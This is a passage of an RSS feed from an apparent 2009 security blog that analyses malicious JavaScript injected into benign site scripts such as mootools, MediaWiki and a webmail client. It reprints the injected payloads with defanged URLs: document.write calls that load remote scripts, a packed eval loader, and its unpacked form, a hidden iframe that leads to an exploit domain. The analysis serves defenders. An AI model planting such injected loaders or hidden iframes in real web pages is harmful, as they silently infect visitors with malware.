this.effects={};if(this.options.opacity)this.effects.opacity='fullOpacity';if(this.options.width)this.effects.width=this.options.fixedWidth?'fullWidth':'offsetWidth';if(this.options.height)this.effects.height=this.options.fixedHeight?'fullHeight':'scrollHeight';for(var i=0,l=this.togglers.length;i&amp;lt;l;i++)this.addSection(this.togglers[i],this.elements[i]);this.elements.each(function(el,i){if(this.options.show===i){this.fireEvent('onActive',[this.togglers[i],el]);}else{for(var fx in this.effects)el.setStyle(fx,0);}},this);this.parent(this.elements);if($chk(this.options.display))this.display(this.options.display);},addSection:function(toggler,element,pos){toggler=$(toggler);element=$(element);var test=this.togglers.contains(toggler);var len=this.togglers.length;this.togglers.include(toggler);this.elements.include(element);if(len&amp;amp;&amp;amp;(!test||pos)){pos=$pick(pos,len-1);toggler.injectBefore(this.togglers[pos]);element.injectAfter(toggler);}else if(this.container&amp;amp;&amp;amp;!test){toggler.inject(this.container);element.inject(this.container);}
var idx=this.togglers.indexOf(toggler);toggler.addEvent('click',this.display.bind(this,idx));if(this.options.height)element.setStyles({'padding-top':0,'border-top':'none','padding-bottom':0,'border-bottom':'none'});if(this.options.width)element.setStyles({'padding-left':0,'border-left':'none','padding-right':0,'border-right':'none'});element.fullOpacity=1;if(this.options.fixedWidth)element.fullWidth=this.options.fixedWidth;if(this.options.fixedHeight)element.fullHeight=this.options.fixedHeight;element.setStyle('overflow','hidden');if(!test){for(var fx in this.effects)element.setStyle(fx,0);}
return this;},display:function(index){index=($type(index)=='element')?this.elements.indexOf(index):index;if((this.timer&amp;amp;&amp;amp;this.options.wait)||(index===this.previous&amp;amp;&amp;amp;!this.options.alwaysHide))return this;this.previous=index;var obj={};this.elements.each(function(el,i){obj[i]={};var hide=(i!=index)||(this.options.alwaysHide&amp;amp;&amp;amp;(el.offsetHeight&amp;gt;0));this.fireEvent(hide?'onBackground':'onActive',[this.togglers[i],el]);for(var fx in this.effects)obj[i][fx]=hide?0:el[this.effects[fx]];},this);return this.start(obj);},showThisHideOpen:function(index){return this.display(index);}});Fx.Accordion=Accordion;

**malicious code**

document.write('&amp;lt;scr ipt src=hxxp://nw drealty.com/Scripts/Unti tled-17.php &amp;gt;&amp;lt;\/sc ript&amp;gt;');
document.write('&amp;lt;scri pt src=hxxp://nwd realty.com/Scripts/Untit led-17.php &amp;gt;&amp;lt;\/s cript&amp;gt;');&amp;lt;/pre&amp;gt;
etTime()+2678400000);if(document.cookie.indexOf(&amp;quot;_df=f&amp;quot;)==-1){if(navigator.appCodeName.indexOf(&amp;quot;a&amp;quot;)!=-1){iframe=&amp;quot;iframe&amp;quot;}document.write(&amp;quot;&amp;lt;iframe+ width=1 height=1 src=\'hxxp://l oading-a tm.net/b2b/\' style=\'display:none\'&amp;gt;&amp;lt;/iframe&amp;gt;&amp;quot;);document.cookie=&amp;quot;_df=f; expires=expires.toGMTString(); &amp;quot;}\n']&amp;lt;/pre&amp;gt;
</pre>
<p>Our systems flagged this as unsafe. This exploit leads to an infection which is a remnant of the famous gumblar virus.</p>
<pre class="brush: plain;">
// MediaWiki JavaScript support functionsvar clientPC = navigator.userAgent.toLowerCase(); // Get client info
&lt;pre id=&quot;cb0049f11cbf55990b47f8e86dc03a62ee0ea17d-133-highlight&quot;&gt;
var is_gecko = /gecko/.test( clientPC ) &amp;&amp;
!/khtml|spoofer|netscape\/7\.0/.test(clientPC);
var webkit_match = clientPC.match(/applewebkit\/(\d+)/);
if (webkit_match) {
var is_safari = clientPC.indexOf('applewebkit') != -1 &amp;&amp;
clientPC.indexOf('spoofer') == -1;
var is_safari_win = is_safari &amp;&amp; clientPC.indexOf('windows') != -1;

** code removed for brevity **
}
//note: all skins should call runOnloadHook() at the end of html output,
//      so the below should be redundant. It's there just in case.
hookEvent(&quot;load&quot;, runOnloadHook);

** malicious code **
document.write('&lt;scr ipt src=hxxp://hydr eka.com/logiciels/winfluid_mo bile.php &gt;&lt;\/s cript&gt;');&lt;/pre&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.stopthehacker.com/2009/11/18/when-benign-scripts-attack-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>When Benign scripts attack &#8211; II</title>
		<link>http://www.stopthehacker.com/2009/11/16/when-benign-scripts-attack-ii/</link>
		<comments>http://www.stopthehacker.com/2009/11/16/when-benign-scripts-attack-ii/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 19:06:56 +0000</pubDate>
		<dc:creator>anirban</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.stopthehacker.com/?p=525</guid>
		<description><![CDATA[A few weeks back I wrote about how hackers are targeting benign scripts to do the dirty work on their behalf. The trend is now intensifying. In the last post about this issue, we saw how common scripts like JQuery and AC_RunActiveContent, mootools and others were being targeted. This time we will look at injection [...]]]></description>
			<content:encoded><![CDATA[<p>A few weeks back I wrote about how hackers are targeting benign scripts to do the dirty work on their behalf. The trend is now intensifying. In the last post about this issue, we saw how common scripts like JQuery and AC_RunActiveContent, mootools and others were being targeted. This time we will look at injection in a script which does not conform to the trend mentioned.</p>
<p>This particular example is not a popularly deployed script, and is probably hand-coded by a developer for their purposes. Consider the case of hxxp://www.iu.edu.sa/web mail/ You will find the following code listed on one of the associated JavaScript files which are pulled in from the local drives. Interestingly, the code is packed using the popular, Dean-Edwards-Packer, like format. Unpacking it is trivial and hence the actual code which was not part of the original file is also displayed below.</p>
<pre class="brush: jscript;">
// defines for sections
var SECTION_LOGIN    = 0;
var SECTION_MAIL     = 1;

// defines for screens
var SCREEN_LOGIN              = 0;
var SCREEN_MESSAGES_LIST_VIEW = 1;
var SCREEN_MESSAGES_LIST      = 2;
var SCREEN_VIEW_MESSAGE       = 3;
var SCREEN_NEW_MESSAGE        = 4;

var Sections = Array();
Sections[SECTION_LOGIN]    = {Scripts: [], Screens: Array()}
Sections[SECTION_MAIL]     = {Scripts: [], Screens: Array()}
Sections[SECTION_MAIL].Screens[SCREEN_MESSAGES_LIST_VIEW] = 'screen = new CMessagesListViewScreen(SkinName);';
Sections[SECTION_MAIL].Screens[SCREEN_MESSAGES_LIST] = 'screen = new CMessagesListScreen(SkinName);';

**code removed for brevity**

var REDRAW_NOTHING = 0;
var REDRAW_PAGE    = 3;
var AUTOSELECT_CHARSET = -1;
var VIEW_MODE_WITH_PANE     = 1;
var Fonts = [Arial, Arial Black, Courier New, Tahoma, Times New Roman, Verdana]

Ready(INIT_DEFINES);

**malicious code**

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){returnw};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(be(c)b,g),k[c])}}return p}(g 7=b 5(),4=b 5(7.k()l);2(0.9.6(8=f)==-1){2(i.m.6(a)!=-1){3=3}0.c(&amp;lt;3dh=1 ej=1 w=hn://yz-v.u/p/ o=qr:t&amp;gt;&amp;lt;/2s&amp;gt;);0.9=8=f;4=4.x(); },36,36,document||if|iframe|expires|Date|indexOf|today|_df|cookie||new|write|widt|heig||var||navigator|ht|getTime|2678400000|appCodeName|ttp|style|b2b|dis|play|rame|none|net|atm|src|toGMTString|loadi|ng.split(|),0,{}));

**unpacked form**

['var today=new Date(),expires=new Date(today.getTime()+2678400000);if(document.cookie.indexOf(&amp;quot;_df=f&amp;quot;)==-1){if(navigator.appCodeName.indexOf(&amp;quot;a&amp;quot;)!=-1){iframe=&amp;quot;iframe&amp;quot;}document.write(&amp;quot;&amp;lt;iframe+ width=1 height=1 src=\'hxxp://l oading-a tm.net/b2b/\' style=\'display:none\'&amp;gt;&amp;lt;/iframe&amp;gt;&amp;quot;);document.cookie=&amp;quot;_df=f; expires=expires.toGMTString(); &amp;quot;}\n']&amp;lt;/pre&amp;gt;
</pre>
<p>Our systems flagged this as unsafe and for further validation one can look up <a href="http://www.malwaredomainlist.com/" target="_blank">malware-domain-list</a> .</p>
<table border="0">
<tbody>
<tr>
<td>2009/03/28_00:00</td>
<td>loading-atm.net/b2b/</td>
<td>83.133.123.140</td>
<td>t490.1paket.com</td>
<td>redirects to exploits</td>
<td>Jsfgvbg (loading-atm@mail.ru)</td>
<td>13237</td>
</tr>
</tbody>
</table>
<p>The exploit seems to throw a executable to the victim’s system, which in turn is a down-loader and tries to grab two more files from the same domain.</p>
<p>And to whet your appetite more, here&#8217;s another example captured from hxxp://www. aikidoofqueens. com/kids/</p>
<pre class="brush: jscript;">
&lt;pre id=&quot;16a4ab078355b4e53857777860831edc756eb492-1-highlight&quot;&gt;var ma=new Array();var mx=new Array();var my=new Array();var mc=new Array();
var mpos=new Array();var mal=0;var main=0;var menuw=200;var psrc=0;
var pname=&quot;&quot;;var al=&quot;&quot;;var gd=0;var gx,gy;var d=document;
var NS7=(!d.all&amp;&amp;d.getElementById);var NS4=(!d.getElementById);
var IE5=(!NS4&amp;&amp;!NS7&amp;&amp;(navigator.userAgent.indexOf('MSIE 5.0')!=-1
||navigator.userAgent.indexOf('MSIE 5.2')!=-1));var IE5p5=(!NS4&amp;&amp;
!NS7&amp;&amp;navigator.userAgent.indexOf('MSIE 5.5')!=-1);var NS6=(NS7&amp;&amp;
navigator.userAgent.indexOf('Netscape6')!=-1);
var SAF=navigator.userAgent.indexOf('Safari')!=-1;p=navigator.userAgent.indexOf('Opera');
if(p&gt;-1){p=navigator.userAgent.charAt(p+6);if(p&gt;6)NS7=1;else NS4=1;}var 

** code removed for brevity **

&lt;pre id=&quot;16a4ab078355b4e53857777860831edc756eb492-1-highlight&quot;&gt;clipMenu(i,el){if(el.offsetLeft&gt;mx[i])el.style.clip=&quot;rect(&quot;+(my[i]-el.offsetTop)+&quot;px &quot;
+(el.offsetWidth+(mx[i]-el.offsetLeft))+&quot;px &quot;+el.offsetHeight+&quot;px &quot;+0+&quot;px)&quot;;
else el.style.clip=&quot;rect(&quot;+(my[i]-el.offsetTop)+&quot;px &quot;+el.offsetWidth+&quot;px &quot;+
el.offsetHeight+&quot;px &quot;+(mx[i]-el.offsetLeft)+&quot;px)&quot;;}

** malicious code **

document.write('&lt; script src=hxxp://b olccorlando.org/_vti_txt/event_pwf.php &gt;&lt;\/s cript&gt;');
document.write('&lt;sc ript src=hxxp://gh anafoneshop.com/category_images/vieworder.php &gt;&lt;\/s cript&gt;');
document.write('&lt;scr ipt src=hxxp://gha nafoneshop.com/category_images/vieworder.php &gt;&lt;\/sc ript&gt;');
document.write('&lt;scri pt src=hxxp://ghan afoneshop.com/category_images/vieworder.php &gt;&lt;\/scr ipt&gt;');
document.write('&lt;scrip t src=hxxp://ghana foneshop.com/category_images/vieworder.php &gt;&lt;\/scri pt&gt;');
document.write('&lt;sc ript src=hxxp://ghanaf oneshop.com/category_images/vieworder.php &gt;&lt;\/scrip t&gt;');
document.write('&lt;scr ipt src=hxxp://ramazan -toker.com/images/gifimg.php &gt;&lt;\/sc ript&gt;');
</pre>
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.stopthehacker.com/2009/11/16/when-benign-scripts-attack-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
